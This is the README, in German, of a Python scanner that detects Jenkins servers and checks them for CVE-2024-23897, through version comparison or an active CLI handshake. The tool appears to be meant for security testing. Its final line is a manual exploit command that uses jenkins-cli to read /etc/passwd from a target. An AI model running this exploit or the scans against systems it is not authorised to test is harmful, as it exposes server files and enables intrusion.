jenkins_scan

Finde Jenkins-Umgebungen und prüfe auf CVE-2024-23897

Wie es funktioniert

Erkennung von Jenkins

Testet die Pfade: /, /login, /oops, /api/json, /cli, /jenkins/, /jenkins/api/json

Identifiziert über:

1. Header X-Jenkins — zuverlässigster, liefert auch die Version
2. Header X-Hudson — ältere Instanzen
3. HTML-Body — Zeichenketten wie „login to jenkins“, „hudson.model“ usw.
4. /api/json — Bestätigung durch die JSON-Struktur (_class, jobs, views)

Überprüfung von CVE-2024-23897

Passiv (Standard): vergleicht die erkannte Version mit den Schwellwerten:

• Weekly: < 2.442 → anfällig
• LTS: < 2.426.3 → anfällig

Aktiv (--active): sendet den Handshake des binären Jenkins-CLI-Protokolls über HTTP. Antwortet der Server mit 200 + Content-Type: application/octet-stream, bestätigt dies, dass der CLI-Kanal offen ist und der Exploit anwendbar ist.

Verwendung

Basis-Scan

python jenkins_scan.py -f urls.txt

Mit aktivem Probe + Burp als Proxy + Ausgabe in Datei

python jenkins_scan.py -f urls.txt --active --proxy http://127.0.0.1:8080 -o resultados.txt

20 Threads, ausführlich, ohne Farbe (für Pipe/Grep)

python jenkins_scan.py -f urls.txt -t 20 -v --no-color

Manuellen Exploit bei anfälligem Ziel bestätigen

java -jar jenkins-cli.jar -s http://TARGET/ who-am-i "@/etc/passwd"